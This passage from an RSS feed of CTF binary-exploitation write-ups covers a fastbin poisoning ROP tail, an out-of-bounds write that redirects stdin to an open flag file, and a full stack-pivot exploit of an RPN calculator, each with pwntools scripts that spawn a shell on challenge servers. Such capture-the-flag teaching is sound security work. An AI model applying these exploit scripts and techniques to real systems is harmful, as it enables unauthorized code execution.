times)</p><pre>fake_fast = stack - 0x78 - 0x88<br>info(f&quot;fake: {hex(fake_fast)}&quot;)</pre><p>Now we free 2 chunks to fill back up the tcache.</p><pre>delete_spell(12)<br>delete_spell(13)</pre><p>And redo another fastbin poisening attack</p><pre>edit_spell(14, p64(fake_fast ^ ((heap + 0x9a0) &gt;&gt; 12)), b&quot;BBBBBBBB\x00&quot;)<br>new_spell(14)</pre><p>This fake chunk is close to the return address stored in the stack, we can then use a standard ROP chain (pop rdi, /bin/sh, system) to gain execution</p><pre>new_spell(16, p64(fake_fast + 0xb0) + p64(libc.address + 0x001157bc) + p64(next(libc.search(b&quot;/bin/sh&quot;))) + p64(libc.address + 0x001afcf8) + p64(libc.symbols[&quot;system&quot;]))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*_GC8SHy75qE-DEnPP13gwg.png" /></figure><p>This exploit’s reliability is pretty low, takes a bunch of tries for it to actually work.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe4bfeb63d0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[PWN] www_asteroids]]></title>
            <link>https://medium.com/@suleif/pwn-www-asteroids-f069400a66b5?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/f069400a66b5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Fri, 24 Oct 2025 11:26:28 GMT</pubDate>
            <atom:updated>2025-10-24T11:28:02.596Z</atom:updated>
            <content:encoded><![CDATA[<p>tags: OOB write, FSOP</p><p>This challenge was for cyber odyssey 2025, it combines OOB and FSOP (a little bit).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7j6BcmW-Xc8hTqre.jpg" /></figure><p>Source code:</p><pre>#include &quot;../include/asteroids.h&quot;<br><br><br>char *space[20];<br>FILE *save_file;<br><br>void play_game(){    <br>    int y, x;<br>    char buff[1024];<br>    uint8_t i = 0;<br>    char cannon_type;<br><br>    i = 0;<br>    while (i &lt; 20){<br>        puts(space[i]);<br>        i++;<br>    }<br>    puts(&quot;[SHOT THE ASTEROIDS]&quot;);<br><br>    printf(&quot;Y-axis idx &gt;&gt; &quot;);<br>    scanf(&quot;%d&quot;, &amp;y);<br>    getchar();<br>    printf(&quot;X-axis idx &gt;&gt; &quot;);<br>    scanf(&quot;%d&quot;, &amp;x);<br>    getchar();<br>    if (y &gt; 20 || x &gt; 0x80 || x &lt; 0x0){<br>        puts(&quot;The cannon won’t make it that far.&quot;);<br>    }<br>    printf(&quot;Cannonball type &gt;&gt; &quot;);<br>    scanf(&quot;%c&quot;, &amp;cannon_type);<br>    getchar();<br>    puts(&quot;Loading the cannon.&quot;);<br>    puts(&quot;SHOOT!!!&quot;);<br>    space[y][x] = cannon_type;<br>    printf(&quot;onomatopoeia ? &gt;&gt; &quot;);<br>    fgets(buff, 1000, stdin);<br>    printf(&quot;%s\n&quot;, buff);<br>}<br><br>void init_game(){<br>    uint8_t     i = 0;<br>    uint8_t     y = 0;<br><br>    puts(header);<br>    puts(&quot;&quot;);<br>    srand(time(0));<br>    save_file = fopen(&quot;flag.txt&quot;, &quot;rw&quot;);<br>    while (i &lt; 20){<br>        space[i] = malloc(0x80);<br>        y = 0;<br>        while (y &lt; 0x80){<br>            if (rand() % 10 == 3)<br>                space[i][y] = &#39;*&#39;;<br>            else <br>                space[i][y] = &#39; &#39;;<br>            y++;<br>        }<br>        i++;<br>    }<br>}<br><br>void ignore_me(){<br>    // ignore me <br>    setvbuf(stdin, 0, _IONBF, 0);<br>    setvbuf(stdout, 0, _IONBF, 0);<br>    setvbuf(stderr, 0, _IONBF, 0);<br>    alarm(128);<br>    srand(time(0));<br>    // ignore me <br>}<br><br>int main(){<br>    ignore_me();<br>    init_game();<br>    while (true)<br>        play_game();<br>}</pre><p>The things we need to focus on:</p><pre>save_file = fopen(&quot;flag.txt&quot;, &quot;rw&quot;);</pre><p>The flag file is opened but not read from anywhere in the program.</p><pre>printf(&quot;Y-axis idx &gt;&gt; &quot;);<br>    scanf(&quot;%d&quot;, &amp;y);<br>    getchar();<br>    printf(&quot;X-axis idx &gt;&gt; &quot;);<br>    scanf(&quot;%d&quot;, &amp;x);<br>    getchar();<br>    if (y &gt; 20 || x &gt; 0x80 || x &lt; 0x0){<br>        puts(&quot;The cannon won&#39;t make it that far.&quot;);<br>    }<br>    printf(&quot;Cannonball type &gt;&gt; &quot;);<br>    scanf(&quot;%c&quot;, &amp;cannon_type);<br>    getchar();<br>    puts(&quot;Loading the cannon.&quot;);<br>    puts(&quot;SHOOT!!!&quot;);<br>    space[y][x] = cannon_type;</pre><p>There is no bounds check in neither y or x. So what can we do with this?</p><p>Let’s first see where space is in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mg1WOkmMRjqSk8nEb6V3cg.png" /><figcaption>get .bss’s address with info files</figcaption></figure><p>Since space is a global variable it is stored in the .bss section. And another interesting thing is glibc’s standard io streams are stored right behind the space buffer too.</p><p>Since we have an OOB that can dereference a pointer twice we can start messing with the guts of the FILE struct of the standard io streams.</p><pre>printf(&quot;onomatopoeia ? &gt;&gt; &quot;);<br>fgets(buff, 1000, stdin);<br>printf(&quot;%s\n&quot;, buff);</pre><p>This snippet of code confirms our target: _IO_2_1_stdin_</p><p>If we can somehow modify this struct to make it redirect to the opened flag file we will have finished our job.</p><p>Let us explore glibc’s FILE struct first:</p><pre>struct _IO_FILE {<br>  int _flags;<br>  <br>  /* Buffer pointers */<br>  char* _IO_read_ptr;      /* Current read pointer */<br>  char* _IO_read_end;      /* End of get area */<br>  char* _IO_read_base;     /* Start of putback+get area */<br>  char* _IO_write_base;    /* Start of put area */<br>  char* _IO_write_ptr;     /* Current put pointer */<br>  char* _IO_write_end;     /* End of put area */<br>  char* _IO_buf_base;      /* Start of reserve area */<br>  char* _IO_buf_end;       /* End of reserve area */<br>  <br>  /* Save areas for backup */<br>  char *_IO_save_base;     /* Pointer to start of non-current get area */<br>  char *_IO_backup_base;   /* Pointer to first valid character of backup area */<br>  char *_IO_save_end;      /* Pointer to end of non-current get area */<br>  <br>  struct _IO_marker *_markers;<br>  struct _IO_FILE *_chain;  /* Linked list of all open files */<br>  <br>  int _fileno;             /* File descriptor */  &lt;---- our target<br>  int _flags2;<br>  _IO_off_t _old_offset;   /* For compatibility */<br>  <br>  /* 1+column number of pbase(); 0 is unknown. */<br>  unsigned short _cur_column;<br>  signed char _vtable_offset;<br>  char _shortbuf[1];       /* Emergency backup buffer */<br>  <br>  _IO_lock_t *_lock;       /* Thread lock */<br>};</pre><p>Keep in mind we can only modify the memory byte by byte in each iteration of the loop, this will cause segfaults if we try changing an address with another one, since in the middle of our writes we will have corrupted the address and it will be accessed by the program.</p><p>So we need a field we can change with only a single 1 byte write that will cause us to point to the opened flag FILE.</p><pre>int _fileno;             /* File descriptor */</pre><p>I will assume you are all familiar with file descriptors (google it if not!)</p><p>Let’s check our flag’s file descriptor if it is a value we can write with a single byte:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WtBYC9tPgUKFYOsMfEpXvg.png" /><figcaption>the flag FILE struct is in the heap btw</figcaption></figure><p>Bingo. So if we change stdin’s _fileno from 0 to 3 any further reads from stdin will actually read from the opened flag file.</p><p>Let us do that, remember that _fileno is located 0x70 bytes after the beginning of the FILE struct.</p><p>Also stdin is located 0x8 * 0x6 behind our space buffer, why we multiply with 0x8 is because space is a 2D array, with the first members being char* pointers, since C has smart pointer arithmetics when we do space[-6] it actually goes 0x8 * -0x6 in the memory.</p><pre>#!/usr/bin/env python3<br>from pwn import *<br><br>exe = context.binary = ELF(args.EXE or &#39;./www_asteroids&#39;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br><br>def conn():<br>    if args.LOCAL:<br>        r = process([exe.path])<br>    else:<br>        r = remote(&quot;172.201.104.246&quot;,43300)<br><br>    return r<br><br>def oob(y, x, char, data=b&quot;A&quot;):<br>    io.sendlineafter(b&quot;Y-axis idx &gt;&gt; &quot;, str(y).encode())<br>    io.sendlineafter(b&quot;X-axis idx &gt;&gt; &quot;, str(x).encode())<br>    io.sendlineafter(b&quot;Cannonball type &gt;&gt; &quot;, char)<br>    io.sendlineafter(b&quot;onomatopoeia ? &gt;&gt; &quot;, data)<br><br>def scan():<br>    pass<br><br>io = conn()<br>#gdb.attach(io)<br>oob(-0x6, 0x70, p8(0x3))<br><br>io.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-d9Is__Trtg1WgQGuC83A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f069400a66b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Polish Pwn Writeup | FortID CTF 2025]]></title>
            <link>https://infosecwriteups.com/reverse-polish-pwn-writeup-fortid-ctf-2025-0022398d5b84?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/0022398d5b84</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 05:23:47 GMT</pubDate>
            <atom:updated>2025-10-30T08:58:24.843Z</atom:updated>
            <content:encoded><![CDATA[<p>— Keywords: pwn, limited buffer overflow, stack pivot, ROP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*HMXiWLdXadhajqw-oFnb0A.png" /></figure><p>This challenge took me 1.5 days to complete, it was all worth it when I got the flag.</p><p>First let’s check what mitigations this binary has:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*kMjilKG6MoHpp38WKNPbCw.png" /></figure><p>Now let’s get to analyzing the source code for any vulnerabilites.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;ctype.h&gt;<br><br>#define STACK_MAX 65<br><br>typedef struct { <br>    int sp;<br>    int data[STACK_MAX]; <br>} Stack;<br><br>void msg(const char *msg) {<br>    fprintf(stderr, &quot;error: %s\n&quot;, msg); <br>}<br><br>int need(Stack *s, int n) {<br>    if(s-&gt;sp &lt; n) {<br>        msg(&quot;stack underflow&quot;);<br>        return 1;<br>    }<br>    return 0;<br>}<br><br>int push(Stack *s, int v) {<br>    if(s-&gt;sp &gt; STACK_MAX) {<br>        msg(&quot;stack overflow&quot;);<br>        return 1;<br>    }<br>    s-&gt;data[s-&gt;sp++] = v; <br>    return 0;<br>}<br><br>int popv(Stack *s) {<br>    return s-&gt;data[--s-&gt;sp];<br>}<br><br>int process_line(char *line) {<br>    Stack st;<br>    st.sp = 0;<br>    char *tok = strtok(line, &quot; \t\r\n&quot;);<br>    static char cmd[32];<br>    while (tok) {<br>        strncpy(cmd, tok, 32); <br>        cmd[31]=0; <br>        if (!strcmp(cmd,&quot;push&quot;)) {<br>            char *num = strtok(NULL, &quot; \t\r\n&quot;);<br>            if (!num) {<br>                msg(&quot;push needs a number&quot;);<br>                return 1;<br>            }<br>            char *end;<br>            long v = strtol(num, &amp;end, 10);<br>            if (*end) {<br>                msg(&quot;invalid integer&quot;);<br>                return 1;<br>            }<br>            if (push(&amp;st, (int)v))<br>                return 1;<br>        } else if (!strcmp(cmd,&quot;pop&quot;)) {<br>            if (need(&amp;st,1))<br>                return 1;<br>            printf(&quot;%d\n&quot;, popv(&amp;st));<br>        } else if (!strcmp(cmd,&quot;add&quot;)) {<br>            if (need(&amp;st,2))<br>                return 1;<br>            int b=popv(&amp;st);<br>            int a=popv(&amp;st); <br>            if (push(&amp;st, a+b))<br>                return 1;<br>        } else if (!strcmp(cmd,&quot;sub&quot;)) {<br>            if (need(&amp;st,2))<br>                return 1;<br>            int b=popv(&amp;st);<br>            int a=popv(&amp;st);<br>            if (push(&amp;st, a-b))<br>                return 1;<br>        } else if (!strcmp(cmd,&quot;rot&quot;)) { // (x1 x2 x3 -- x2 x3 x1)<br>            if (need(&amp;st,3))<br>                return 1;<br>            int x1 = st.data[st.sp-1];<br>            int x2 = st.data[st.sp];<br>            int x3 = st.data[st.sp+1];<br>            st.data[st.sp-1] = x2;<br>            st.data[st.sp] = x3;<br>            st.data[st.sp+1] = x1;<br>        } else if (!strcmp(cmd,&quot;dup&quot;)) {<br>            if (need(&amp;st,1))<br>                return 1;<br>            if (push(&amp;st, st.data[st.sp-1]))<br>                return 1;<br>        } else {<br>            msg(&quot;unknown command&quot;);<br>            return 1;<br>        }<br>        tok = strtok(NULL, &quot; \t\r\n&quot;);<br>    }<br>    return 0;<br>}<br><br>void rpn_loop() {<br>    char line[1024];<br>    printf(&quot;RPN&gt; &quot;);<br>    while (fgets(line, sizeof line, stdin)) {<br>        if (process_line(line)) {<br>            return ;<br>        }<br>        printf(&quot;RPN&gt; &quot;);<br>    }<br>}<br><br>int main(void){<br>    setbuf(stdin, NULL);<br>    setbuf(stdout, NULL);<br>    char help[] = <br>        &quot;RPN calculator commands:\n&quot;<br>        &quot; push &lt;num&gt;  - push number onto stack\n&quot;<br>        &quot; pop         - pop number from stack and print it\n&quot;<br>        &quot; add         - pop two numbers, add them, push result\n&quot;<br>        &quot; sub         - pop two numbers, subtract second from first, push result\n&quot;<br>        &quot; dup         - duplicate top stack value\n&quot;<br>        &quot; rot         - rotate top three stack values\n&quot;;<br>    printf(&quot;%s&quot;, help);<br>    rpn_loop();<br>    printf(&quot;Bye\n&quot;);<br>    return 0;<br>}</pre><p>Clearly these are the functions we need to pay attention to:</p><pre>#define STACK_MAX 65<br><br>typedef struct { <br>    int sp;<br>    int data[STACK_MAX]; <br>} Stack;<br><br>int need(Stack *s, int n) {<br>    if(s-&gt;sp &lt; n) {<br>        msg(&quot;stack underflow&quot;);<br>        return 1;<br>    }<br>    return 0;<br>}<br><br>int push(Stack *s, int v) {<br>    if(s-&gt;sp &gt; STACK_MAX) {<br>        msg(&quot;stack overflow&quot;);<br>        return 1;<br>    }<br>    s-&gt;data[s-&gt;sp++] = v; <br>    return 0;<br>}<br><br>int popv(Stack *s) {<br>    return s-&gt;data[--s-&gt;sp];<br>}<br><br>int process_line(char *line) {<br>    Stack st;<br>    st.sp = 0;<br>    char *tok = strtok(line, &quot; \t\r\n&quot;);<br>    static char cmd[32];<br>    while (tok) {<br>        strncpy(cmd, tok, 32); <br>        cmd[31]=0; <br>        if (!strcmp(cmd,&quot;push&quot;)) {<br>            char *num = strtok(NULL, &quot; \t\r\n&quot;);<br>            if (!num) {<br>                msg(&quot;push needs a number&quot;);<br>                return 1;<br>            }<br>            char *end;<br>            long v = strtol(num, &amp;end, 10);<br>            if (*end) {<br>                msg(&quot;invalid integer&quot;);<br>                return 1;<br>            }<br>            if (push(&amp;st, (int)v))<br>                return 1;<br>        } else if (!strcmp(cmd,&quot;pop&quot;)) {<br>            if (need(&amp;st,1))<br>                return 1;<br>            printf(&quot;%d\n&quot;, popv(&amp;st));<br>        } else if (!strcmp(cmd,&quot;add&quot;)) {<br>            if (need(&amp;st,2))<br>                return 1;<br>            int b=popv(&amp;st);<br>            int a=popv(&amp;st); <br>            if (push(&amp;st, a+b))<br>                return 1;<br>        } else if (!strcmp(cmd,&quot;sub&quot;)) {<br>            if (need(&amp;st,2))<br>                return 1;<br>            int b=popv(&amp;st);<br>            int a=popv(&amp;st);<br>            if (push(&amp;st, a-b))<br>                return 1;<br>        } else if (!strcmp(cmd,&quot;rot&quot;)) { // (x1 x2 x3 -- x2 x3 x1)<br>            if (need(&amp;st,3))<br>                return 1;<br>            int x1 = st.data[st.sp-1];<br>            int x2 = st.data[st.sp];<br>            int x3 = st.data[st.sp+1];<br>            st.data[st.sp-1] = x2;<br>            st.data[st.sp] = x3;<br>            st.data[st.sp+1] = x1;<br>        } else if (!strcmp(cmd,&quot;dup&quot;)) {<br>            if (need(&amp;st,1))<br>                return 1;<br>            if (push(&amp;st, st.data[st.sp-1]))<br>                return 1;<br>        } else {<br>            msg(&quot;unknown command&quot;);<br>            return 1;<br>        }<br>        tok = strtok(NULL, &quot; \t\r\n&quot;);<br>    }<br>    return 0;<br>}</pre><p>In this code there are 2 vulnerabilities:</p><pre>int push(Stack *s, int v) {<br>    if(s-&gt;sp &gt; STACK_MAX) { // STACK_MAX = 65<br>        msg(&quot;stack overflow&quot;);<br>        return 1;<br>    }<br>    s-&gt;data[s-&gt;sp++] = v; <br>    return 0;<br>}</pre><p>In this implementation, the comparison should be with greater than or equal. The problem with the current way its done is that if sp = 65 it will still pass the check and perform an OOB write.</p><p>Recall that s-&gt;data is an array with 65 elements whose indexing starts at 0, so data[65] is OOB.</p><p>This also allows sp to be equal to 66, which we’ll see later allows to us to do even more evil shenanigans.</p><pre>else if (!strcmp(cmd,&quot;rot&quot;)) { // (x1 x2 x3 -- x2 x3 x1)<br>            if (need(&amp;st,3))<br>                return 1;<br>            int x1 = st.data[st.sp-1];<br>            int x2 = st.data[st.sp];<br>            int x3 = st.data[st.sp+1];<br>            st.data[st.sp-1] = x2;<br>            st.data[st.sp] = x3;<br>            st.data[st.sp+1] = x1;</pre><p>Now here’s the second vulnerability: This ‘rot’ commands has no upper bounds check at all, it only checks for the lower bounds with the need function. Our exploit relies mostly on this error as this function chained with the previous mistake allows us to have an OOB read and write up to the lower 4 bytes of RBP.</p><p>We have reviewed all the vulns there are here, let’s get to planning our exploit.</p><p>Our exploit will have 3 stages :</p><ol><li>Leak the canary</li><li>Leak a libc address</li><li>Leak RBP’s lower four bytes</li><li>Overwrite RBP’s lower four bytes to point to our input which contains a ROP chain</li></ol><p>Overwriting RBP’s lower four bytes is enough because the upper bytes will be the same in the place where we will want to be (We will still be in the stack)</p><p>The first thing I set out to do when completing this challenge is making a read primitive that gets me the content of the next 2 elements in the array without overwriting them (This is very important to preserve the canary).</p><p>Here is what I landed on:</p><pre># leaks the immediate next address in 2 stages: 1) first 4 bytes 2) last 4 bytes<br>payload = b&quot;push 1 &quot;*65 + b&quot;pop rot rot dup dup pop rot rot dup pop rot pop pop&quot;</pre><p>To understand this we’ll first need to understand precisely what each instruction does.</p><ul><li>push &lt;int&gt;: pushes an int to the stack and then increments sp</li><li>pop: decrements sp and then prints data[sp]</li><li>dup: pushes the top element to the stack again</li><li>sub, add: Not needed for this exploit</li><li>rot: exchanges the value of the top of the stack with the 2 elements ahead of it in this order: (x1 x2 x3 → x2 x3 x1) with x1 being the current top of the stack.</li></ul><p>This stack implementation is inconsistent and that is what allows us to get OOB reads and writes (although limited in how far we can go).</p><p>This inconsistency allows to get a 12 bytes OOB read and write with the rot command. It is enough to: 1. leak the canary, 2. leak the 4 lower bytes of RBP, 3. Overwrite those 4 bytes to point to somewhere we control.</p><p>Now onto our first payload!</p><p>We first push 65 elements to the stack to reach the end of our buffer. And then I pop the stack to get a good starting point</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*qQt7gGHmpzRm2QZFbHq4rA.png" /><figcaption>This is the how the stack looks like after the pop</figcaption></figure><p>The four boxes are the last 2 elements of the array + 2 OOB elements (So 4 bytes each). Their values are reflected AFTER the instruction on the right has been executed.</p><p>C1 is the lower 4 bytes of the OOB address, C2 is the higher 4 bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*piMyxGQdjpMbRZtOIUgDXQ.png" /></figure><p>We first perform 2 rots to bring C1 to our buffer. In order to print the value of something in the stack and be able to recover its value We need to dup it, that is the reason I brought C1 to index 63 instead of 64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-8eWWFgoa0_2p9-Q0fZ1w.png" /></figure><p>This double dup will set the stack nicely for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aCeF9abv-cJ0QgSmvpqvnw.png" /></figure><p>This prints C1 to the terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*ojVPztplTTFWXWNHkVxADQ.png" /></figure><p>We bring C2 back to the buffer to do the same thing we did to C1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXdWOLnDg4QrCrgY-IusQA.png" /></figure><p>Prints C2 to the terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*71iv_kHSaG4SQizSRkA9YA.png" /></figure><p>Fixes back the canary and brings us back to the buffer. The last 2 pops are unnecessary but I left them in for good measure.</p><p>Note that this payload can be used to print any address that’s OOB not just the canary.</p><pre>def leak_next_dword(io, payload):<br>    # leaks the immediate next address in 2 stages: 1) first 4 bytes 2) last 4 bytes<br>    payload += f&quot;pop rot rot dup dup pop rot rot dup pop rot pop pop&quot;.encode()<br>    send_cmd(io, payload)<br>    err = io.recvline() # for the first pop<br>    if (err == b&#39;error: stack overflow\n&#39;):<br>        return (0, 0, 0)<br>    first_half_raw = int(io.recvline().strip())<br>    second_half_raw = int(io.recvline().strip())<br>    first_half = ctypes.c_uint32(first_half_raw).value<br>    second_half =ctypes.c_uint32(second_half_raw).value<br>    address = first_half + (second_half &lt;&lt; 32)<br>    return (address, first_half_raw, second_half_raw)<br><br>def fill_buffer(x):<br>    payload = b&quot;&quot;<br>    for i in range(x):<br>        payload += f&quot;push {i} &quot;.encode()<br>    return payload<br><br>canary, c1, c2 = leak_next_dword(io, fill_buffer(65))<br></pre><p>This is how I coded it in python. I used ctypes uint32 due to the fact these addresses are getting treated as ints when they should not.</p><p>Next we should leak a libc address, In order to find the offset I examined what the data array contained when it was still uninitialized with GDB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*DboY-JEJZTKC3Sl7epXh0w.png" /></figure><p>The 4th address is what I chose to use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*FOJWv9Mokn4hLcUYlAWJ1A.png" /></figure><p>To calculate how much we need to fill the buffer just calculate how much you need to stop right before the address you’re trying to leak. In this case it is 13.</p><pre>libc_leak, _, _ = leak_next_dword(io, fill_buffer(13))<br>info(hex(libc_leak))</pre><p>Then we need to calculate the base address of libc:</p><p>First let’s get the offset of the address we leaked relative to the address of __printf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*5bDJ0ped_NZmmxfygIeqYQ.png" /><figcaption>addresses changed cuz I restarted the binary and ASLR (oops)</figcaption></figure><pre>libc.address = libc_leak - libc.symbols[&quot;__printf&quot;] - 0xA6<br>success(f&quot;libc address: {hex(libc.address)}&quot;)</pre><p>Perfect! Now all we must leak RBP’s lower 4 bytes.</p><pre>ebp_leak_payload = fill_buffer(65) + f&quot;push {c1} rot rot pop rot rot push {c1} rot rot pop rot rot pop rot rot&quot;.encode()</pre><p>This payload is almost the same as the one we use to leak OOB addresses the only difference here is I made to sure preserve the canary’s value. If the canary gets corrupted the program crashes.</p><pre>send_cmd(io, ebp_leak_payload)<br>ebp_value = ctypes.c_uint32(int(io.recvline().strip())).value</pre><p>Now we need to calculate where our next buffer will be at</p><pre>buffer_address = ebp_value - 0x1E0 + 0x10</pre><p>I mainly got this from calculating offsets with gdb. ebp_value — 0x1E0 is where our next input will be, 0x10 is where our rop chain will be in that input.</p><pre>one_gadget = libc.address + 0x4f29e<br>rop_chain = p64(0) + p64(canary) + b&quot;B&quot;* 8 + p64(one_gadget)</pre><p>For our rop chain: We begin by writing 8 null bytes to 1. end the ‘input’ string 2. align the stack. Then we write the canary because the program checks for it at rbp-8, RBP will be pointing to the Bs and RIP will be pointing to our one_gadget.</p><pre>0x4f29e execve(&quot;/bin/sh&quot;, rsp+0x40, environ) <br>constraints: address rsp+0x50 is writable <br>             rsp &amp; 0xf == 0 <br>             rcx == NULL || {rcx, &quot;-c&quot;, r12, NULL} is a valid argv</pre><p>This is the gadget I chose to use.</p><pre>rbp_overwrite_payload = fill_buffer(65) + f&quot;push {c1} rot rot pop push {buffer_address} rot   &quot;.encode() + rop_chain<br>send_cmd(io, rbp_overwrite_payload)<br>success(&quot;corrupted rbp&quot;)</pre><p>An important thing about our payload: I added three spaces after rot to pad the last dword in order to line up our input nicely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWX6WJDQecIZ2lwO7Ww4sA.png" /><figcaption>Look at the last 3 0x20s these are the spaces we added</figcaption></figure><pre>send_cmd(io, b&quot;triggering!&quot;)</pre><p>And finally we send an invalid command to make the program exit and reach those leave ret instructions ! This gives a shell which we can use to read the flag.</p><p>Please note that this exploit doesn’t work every time. Some times the stack is misaligned and it will mess up the ROP chain, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pdyYrakjJWtvYOCnJLUaLw.png" /></figure><p>The exploit is mostly reliable, from my experience it works two out of three times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*W7slgsREPKsc1EzUDXBrHA.png" /><figcaption>FLAG!</figcaption></figure><pre>FortID{0v3rwrit1ng_5t4ck_b1t5_is_d15a5t3r_3v3n_4_l1ttl3}</pre><p>Kudos to the author of this challenge! It was a fun one to solve.</p><p>Solve script:</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br>import ctypes<br><br>exe = ELF(&quot;./chall_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>context.binary = exe<br><br>gs2 = &#39;&#39;&#39;<br>b *rpn_loop+55<br>c<br>&#39;&#39;&#39;<br><br>def conn():<br>    if args.LOCAL:<br>        io = process([exe.path])<br>    #if args.GDB:<br>    #   io = gdb.debug(exe.path, gdbscript=gs2)<br>    else:<br>       io = remote(&quot;0.cloud.chals.io&quot;, 11342)<br><br>    return io<br><br>def send_cmd(io, cmd):<br>    io.sendlineafter(b&quot;RPN&gt; &quot;, cmd)<br><br>def leak_next_dword(io, payload):<br>    # leaks the immediate next address in 2 stages: 1) first 4 bytes 2) last 4 bytes<br>    payload += f&quot;pop rot rot dup dup pop rot rot dup pop rot pop pop&quot;.encode()<br>    send_cmd(io, payload)<br>    err = io.recvline() # for the first pop<br>    if (err == b&#39;error: stack overflow\n&#39;):<br>        return (0, 0, 0)<br>    first_half_raw = int(io.recvline().strip())<br>    second_half_raw = int(io.recvline().strip())<br>    first_half = ctypes.c_uint32(first_half_raw).value<br>    second_half =ctypes.c_uint32(second_half_raw).value<br>    address = first_half + (second_half &lt;&lt; 32)<br>    return (address, first_half_raw, second_half_raw)<br><br>def fill_buffer(x):<br>    payload = b&quot;&quot;<br>    for i in range(x):<br>        payload += f&quot;push {i} &quot;.encode()<br>    return payload<br><br>def main():<br>    io = conn()<br>    <br>    canary, c1, c2 = leak_next_dword(io, fill_buffer(65))<br>    success(f&quot;canary leak: {hex(canary)}&quot;)<br><br>    libc_leak, _, _ = leak_next_dword(io, fill_buffer(13))<br>    libc.address = libc_leak - libc.symbols[&quot;__printf&quot;] - 0xA6<br>    success(f&quot;libc address: {hex(libc.address)}&quot;)<br><br>    ebp_leak_payload = fill_buffer(65) + f&quot;push {c1} rot rot pop rot rot push {c1} rot rot pop rot rot pop rot rot&quot;.encode()<br>    send_cmd(io, ebp_leak_payload)<br>    ebp_value = ctypes.c_uint32(int(io.recvline().strip())).value<br>    buffer_address = ebp_value - 0x1E0 + 0x10<br>    success(f&quot;ebp: {hex(ebp_value)}&quot;)<br>    success(f&quot;buffer address: {hex(buffer_address)}&quot;)<br>    success(&quot;leaked ebp&quot;)<br>    <br>    ret = libc.address + 0x1e6904<br>    one_gadget = libc.address + 0x4f29e<br>    rop_chain = p64(0) + p64(canary) + b&quot;B&quot;* 8 + p64(one_gadget)<br>    rbp_overwrite_payload = fill_buffer(65) + f&quot;push {c1} rot rot pop push {buffer_address} rot   &quot;.encode() + rop_chain<br>    send_cmd(io, rbp_overwrite_payload)<br>    success(&quot;corrupted rbp&quot;)<br>    send_cmd(io, b&quot;triggering!&quot;)<br><br>    io.interactive()<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0022398d5b84" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/reverse-polish-pwn-writeup-fortid-ctf-2025-0022398d5b84">Reverse Polish Pwn Writeup | FortID CTF 2025</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Heap Exploitation 1 — House of Force]]></title>
            <link>https://medium.com/@suleif/heap-exploitation-1-house-of-force-46768bf1ac5f?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/46768bf1ac5f</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[heap-memory]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[malloc]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 10:47:53 GMT</pubDate>
            <atom:updated>2025-09-12T10:47:53.388Z</atom:updated>
